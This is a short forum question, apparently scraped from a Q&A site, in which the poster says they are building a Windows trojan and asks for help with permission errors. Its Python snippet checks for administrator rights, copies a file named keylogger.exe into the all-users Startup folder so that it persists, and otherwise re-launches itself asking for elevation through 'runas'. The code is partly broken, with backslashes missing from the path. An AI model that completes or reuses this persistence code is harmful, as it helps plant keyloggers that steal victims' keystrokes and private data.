Permissions denied while trying to copy a file to startup – Python and auto-py-to-exe

  python, trojan, windows, windows-security

I’m creating a simple windows trojan horse, for educational purposes ofc. I’m struggling with copying a file to startup. When that code is executed from CMD it works like intended but after conversion to exe it stops working because UAC pop-up won’t appear. I tried requesting UAC from auto-py-to-exe but it didn’t help. Do you have any idea how to make it work?

def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

if is_admin():
    shutil.copy(os.path.abspath("keylogger.exe"),r"C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp");
else:
    #treid but doesnt work as well# ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1) 
    ctypes.windll.shell32.ShellExecuteW(None, u"runas", unicode(sys.executable), unicode(" ".join(sys.argv)), None, 1)

Source: Windows Questions

LEAVE A COMMENT